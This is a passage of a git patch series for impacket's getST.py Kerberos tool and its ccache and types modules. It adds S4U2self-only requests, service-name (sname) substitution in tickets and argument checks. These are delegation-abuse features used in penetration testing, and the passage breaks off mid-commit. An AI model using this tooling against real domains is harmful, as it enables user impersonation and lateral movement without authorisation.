LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' + 'ones specified in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) specified in the target parameter') + + if len(sys.argv) == 1: + parser.print_help() + print("\nExamples: ") + print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") + print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + if options.altservice != None and len(options.altservice.split('/')) != 2: + parser.error('argument -altservice should be specified as service/server format') + if not options.no_s4u2proxy and options.spn is None: + parser.error("argument -spn is required, except when -self is set") + domain, username, password = parse_credentials(options.identity) + + try: + if domain is None: + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + executer = GETST(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + + traceback.print_exc() + print(str(e)) From 51983856490c46549d672e9103a9697252f6267f Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 17:16:07 +0100 Subject: [PATCH 046/152] Removing useless and errored statements and improving args handling --- examples/getST.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 12ba1e4d8d..a1f7b41736 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -444,10 +444,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - if self.__no_s4u2proxy and self.__options.spn is not None: - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) - else: - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -706,10 +703,7 @@ def run(self): if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') - if self.__no_s4u2proxy and self.__options.spn is not None: - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - else: - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_SRV_INST.value) + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: @@ -768,7 +762,7 @@ def run(self): group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') + 'omitted it use the domain part (FQDN) specified in the target parameter') if len(sys.argv) == 1: parser.print_help() @@ -782,6 +776,12 @@ def run(self): if not options.no_s4u2proxy and options.spn is None: parser.error("argument -spn is required, except when -self is set") + if options.no_s4u2proxy and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2self") + + if options.additional_ticket is not None and options.impersonate is None: + parser.error("argument -impersonate is required when doing S4U2proxy") + # Init the example's logger theme logger.init(options.ts) From 0beff9329827a84db2c4edb13eea70857b25eae9 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 19 Feb 2022 17:57:19 +0100 Subject: [PATCH 047/152] Improving arguments handling --- examples/getST.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/examples/getST.py b/examples/getST.py index a1f7b41736..2ba59dc78d 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -779,6 +779,10 @@ def run(self): if options.no_s4u2proxy and options.impersonate is None: parser.error("argument -impersonate is required when doing S4U2self") + if options.no_s4u2proxy and options.altservice is not None: + if '/' not in options.altservice: + parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)") + if options.additional_ticket is not None and options.impersonate is None: parser.error("argument -impersonate is required when doing S4U2proxy") From 28f99c9b17e4d181835a5a674699b4ccfb1c1df6 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 12:15:56 +0800 Subject: [PATCH 048/152] Update types.py --- impacket/krb5/types.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index d6a6cbc307..ae5be34545 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,12 +137,14 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component): + def from_asn1(self, data, realm_component, name_component, alt_service=None): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] + if name_component == "sname" and alt_service!=None: + self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self From 3b5eb311e0b9ff6704f35f48895dacb37f743b4a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 12:17:11 +0800 Subject: [PATCH 049/152] Update ccache.py --- impacket/krb5/ccache.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 011717210a..94e7e0f61c 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey): + def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname') + server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,6 +511,10 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey): credential['num_address'] = 0 credential.ticket = CountedOctetString() + if alt_service != None: + decodedTGS['ticket']['sname']['name-type'] = 0 + decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() From b426cda47069d2738be04f7f0aa5f4eb630eb55c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 12:18:09 +0800 Subject: [PATCH 050/152] Update getST.py --- examples/getST.py | 73 ++++++++++------------------------------------- 1 file changed, 15 insertions(+), 58 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 9908123eda..f297f5878d 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -79,58 +79,16 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None - self.__no_s4u2proxy = options.no_s4u2proxy - self.__alt_service = options.altservice if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey): + def saveTicket(self, ticket, sessionKey, alt_service=None): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey) - if self.__alt_service != None: - self.substitute_sname(ccache) + ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) ccache.saveFile(self.__saveFileName + '.ccache') - def substitute_sname(self, ccache): - cred_number = 0 - logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) - if cred_number > 1: - logging.debug("More than one credentials in cache, modifying all of them") - for creds in ccache.credentials: - sname = creds['server'].prettyPrint() - if len(sname.split(b'@')[0].split(b'/')) == 2: - hostname = sname.split(b'@')[0].split(b'/')[1].decode('utf-8') - else: - hostname = sname.split(b'@')[0].decode('utf-8') - service_realm = sname.split(b'@')[1].decode('utf-8') - if '@' in self.__alt_service: - new_service_realm = self.__alt_service.split('@')[1].upper() - if not '.' in new_service_realm: - logging.debug("New service realm is not FQDN, you may encounter errors") - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('@')[0].split('/')[1] - new_service_class = self.__alt_service.split('@')[0].split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service.split('@')[0] - else: - logging.debug("No service realm in new SPN, using the current one (%s)" % service_realm) - new_service_realm = service_realm - if '/' in self.__alt_service: - new_hostname = self.__alt_service.split('/')[1] - new_service_class = self.__alt_service.split('/')[0] - else: - logging.debug("No service hostname in new SPN, using the current one (%s)" % hostname) - new_hostname = hostname - new_service_class = self.__alt_service - new_sname = "%s/%s@%s" % (new_service_class, new_hostname, new_service_realm) - logging.info('Changing sname from %s to %s' % (sname.decode("utf-8"), new_sname)) - creds['server'].fromPrincipal(Principal(new_sname, type=constants.PrincipalNameType.NT_PRINCIPAL.value)) - logging.info('Saving ticket in %s.ccache' % new_sname.replace("/", "_")) - ccache.saveFile(new_sname.replace("/", "_") + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): logging.error("Ticket %s doesn't exist" % additional_ticket_path) @@ -338,7 +296,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() @@ -444,6 +402,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -462,8 +421,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - if self.__no_s4u2proxy: - return r, cipher, sessionKey, sessionKey + if s4u2self: + return r, cipher, oldSessionKey, sessionKey tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -665,7 +624,6 @@ def run(self): tgt = None try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) - #ccache = CCache.loadFile(r'C:\Users\x\WIn-PADVTVG8OT8.ccache') logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) @@ -706,7 +664,7 @@ def run(self): tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: - tgs, cipher, oldSessionKey, sessioKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) @@ -718,7 +676,7 @@ def run(self): return self.__saveFileName = self.__options.impersonate - self.saveTicket(tgs, oldSessionKey) + self.saveTicket(tgs, oldSessionKey, options.alt_service) if __name__ == '__main__': @@ -727,14 +685,14 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' 'delegation to the SPN specified') - parser.add_argument('-altservice', action="store", help='SPN (service/server) you want to change the TGS ticket to') - parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy') + parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') + parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') @@ -773,10 +731,9 @@ def run(self): logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) - if options.altservice != None and len(options.altservice.split('/')) != 2: - parser.error('argument -altservice should be specified as service/server format') - if not options.no_s4u2proxy and options.spn is None: - parser.error("argument -spn is required, except when -self is set") + if options.alt_service != None and len(options.alt_service.split('/')) != 2: + logging.critical('alt-service should be specified as service/host format') + sys.exit(1) domain, username, password = parse_credentials(options.identity) try: From 30fa246e03f230283c176f7169e5c116025f262c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 13:23:00 +0800 Subject: [PATCH 051/152] Update getST.py --- examples/getST.py | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index f297f5878d..84472cd320 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -78,15 +78,17 @@ def __init__(self, target, password, domain, options): self.__kdcHost = options.dc_ip self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket + self.__alt_service = options.alt_service + self.__s4u2_self = options.s4u2self self.__saveFileName = None if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') - def saveTicket(self, ticket, sessionKey, alt_service=None): + def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - ccache.fromTGS(ticket, sessionKey, sessionKey, alt_service) + ccache.fromTGS(ticket, sessionKey, sessionKey, self.__alt_service) ccache.saveFile(self.__saveFileName + '.ccache') def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): @@ -296,7 +298,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False, alt_service=None): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() @@ -421,8 +423,8 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, kdcHost) - if s4u2self: - return r, cipher, oldSessionKey, sessionKey + if self.__s4u2_self: + return r, cipher, sessionKey, sessionKey tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: @@ -664,7 +666,7 @@ def run(self): tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) + tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) @@ -676,7 +678,7 @@ def run(self): return self.__saveFileName = self.__options.impersonate - self.saveTicket(tgs, oldSessionKey, options.alt_service) + self.saveTicket(tgs, oldSessionKey) if __name__ == '__main__': @@ -685,7 +687,7 @@ def run(self): parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' + parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' @@ -734,6 +736,9 @@ def run(self): if options.alt_service != None and len(options.alt_service.split('/')) != 2: logging.critical('alt-service should be specified as service/host format') sys.exit(1) + if options.s4u2self == None and options.spn == None: + logging.critical('you must specify spn when s4u2self option is not used') + sys.exit(1) domain, username, password = parse_credentials(options.identity) try: From c942bafbaff51aefaa0a6d1fed209ff50b30a240 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 13:55:08 +0800 Subject: [PATCH 052/152] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index 84472cd320..e635d059f8 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -298,7 +298,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey return r, cipher, sessionKey, newSessionKey - def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, s4u2self=False): + def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost): decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() From 18ed0ae80aeaa2055cbbbbf3d979f737ce01a1b2 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 21:58:14 +0800 Subject: [PATCH 053/152] withdraw the modification to from_asn1 method --- impacket/krb5/types.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index ae5be34545..d6a6cbc307 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,14 +137,12 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component, alt_service=None): + def from_asn1(self, data, realm_component, name_component): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] - if name_component == "sname" and alt_service!=None: - self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self From 692d29c82d168d572d62739b3721dda7d7996f01 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 21:59:32 +0800 Subject: [PATCH 054/152] changed with types.py since there is no need to change the enc-part of TGS ticket, the from_asn1 method should not be call with altservice parameter --- impacket/krb5/ccache.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 94e7e0f61c..4b7d7e98a0 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -141,7 +141,7 @@ def prettyPrint(self): else: component = component['data'] principal += component + b'/' - + principal = principal[:-1] if isinstance(self.realm['data'], bytes): realm = self.realm['data'] @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -374,7 +374,7 @@ def getCredential(self, server, anySPN=True): # Let's take the port out for comparison cachedSPN = (c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[1]) searchSPN = '%s@%s' % (server.upper().split('/')[1].split('@')[0].split(':')[0], - server.upper().split('/')[1].split('@')[1]) + server.upper().split('/')[1].split('@')[1]) if cachedSPN == b(searchSPN): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -539,7 +539,7 @@ def prettyPrint(self): print("Credentials: ") for i, credential in enumerate(self.credentials): print(("[%d]" % i)) - credential.prettyPrint('\t') + credential.prettyPrint('\t') @classmethod def loadKirbiFile(cls, fileName): From 04d398fc322308b4a1f6f7185c174b6df35fa1fd Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 22:00:42 +0800 Subject: [PATCH 055/152] Update ccache.py --- impacket/krb5/ccache.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 4b7d7e98a0..6401b44dda 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) + server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) From c47a70f2735dd0e64d6c6d9ef6689a7492f208f4 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 22:01:20 +0800 Subject: [PATCH 056/152] Update ccache.py --- impacket/krb5/ccache.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 6401b44dda..6ea04da008 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c From 526f73af92cd09a42bb4c1f7d9b96cbd7302e798 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sun, 20 Feb 2022 22:17:49 +0800 Subject: [PATCH 057/152] Update ccache.py From b4764879448d00e8f726f61a5d23c8f9892caff2 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 01:11:03 +0800 Subject: [PATCH 058/152] Update types.py --- impacket/krb5/types.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index d6a6cbc307..2f44b3c046 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,13 +137,15 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component): + def from_asn1(self, data, realm_component, name_component, alt_service=None): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] self.realm = str(data.getComponentByName(realm_component)) + if name_component == "sname" and alt_service!=None: + self.components = alt_service.split('/') return self def components_to_asn1(self, name): @@ -243,7 +245,7 @@ def to_asn1(self, component): return component def __str__(self): - return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) + return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) class KerberosTime(object): INDEFINITE = datetime.datetime(1970, 1, 1, 0, 0, 0) From 8450c82817f68182fb419ef15ae5ea8e3a14b60a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 01:11:22 +0800 Subject: [PATCH 059/152] Update ccache.py --- impacket/krb5/ccache.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 6ea04da008..4b7d7e98a0 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -360,7 +360,7 @@ def getData(self): def getCredential(self, server, anySPN=True): for c in self.credentials: - if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\ + if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper()) \ or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]): LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) return c @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname') + server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) tmpServer = Principal() tmpServer.fromPrincipal(server) From 7065aa88b1a02ea95d96060a98c63918857962e0 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 02:45:09 +0800 Subject: [PATCH 060/152] Update getST.py --- examples/getST.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index e635d059f8..1802f974c5 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -87,7 +87,12 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - + if self.__saveFileName != None: + decodedTGS = decoder.decode(ticket, asn1Spec = TGS_REP())[0] + decodedTGS['ticket']['sname']['name-type'] = 0 + decodedTGS['ticket']['sname']['name-string'][0] = self.__saveFileName.split('/')[0] + decodedTGS['ticket']['sname']['name-string'][1] = self.__saveFileName.split('/')[1] + ticket = encoder.encode(decodedTGS) ccache.fromTGS(ticket, sessionKey, sessionKey, self.__alt_service) ccache.saveFile(self.__saveFileName + '.ccache') @@ -688,7 +693,7 @@ def run(self): "Service Ticket and save it as ccache") parser.add_argument('identity', action='store', help='[domain/]username[:password]') parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') + 'service ticket will' ' be generated for') parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' ' for quering the ST. Keep in mind this will only work if ' 'the identity provided in this scripts is allowed for ' From a953f540cbf53622c86824a9f0a217d7809b1b89 Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Mon, 21 Feb 2022 03:01:56 +0800 Subject: [PATCH 061/152] Update getST.py --- examples/getST.py | 50 +++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 46 insertions(+), 4 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 1802f974c5..631bb2c1b8 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -87,13 +87,55 @@ def __init__(self, target, password, domain, options): def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() - if self.__saveFileName != None: + if self.__alt_service != None: decodedTGS = decoder.decode(ticket, asn1Spec = TGS_REP())[0] decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = self.__saveFileName.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = self.__saveFileName.split('/')[1] + 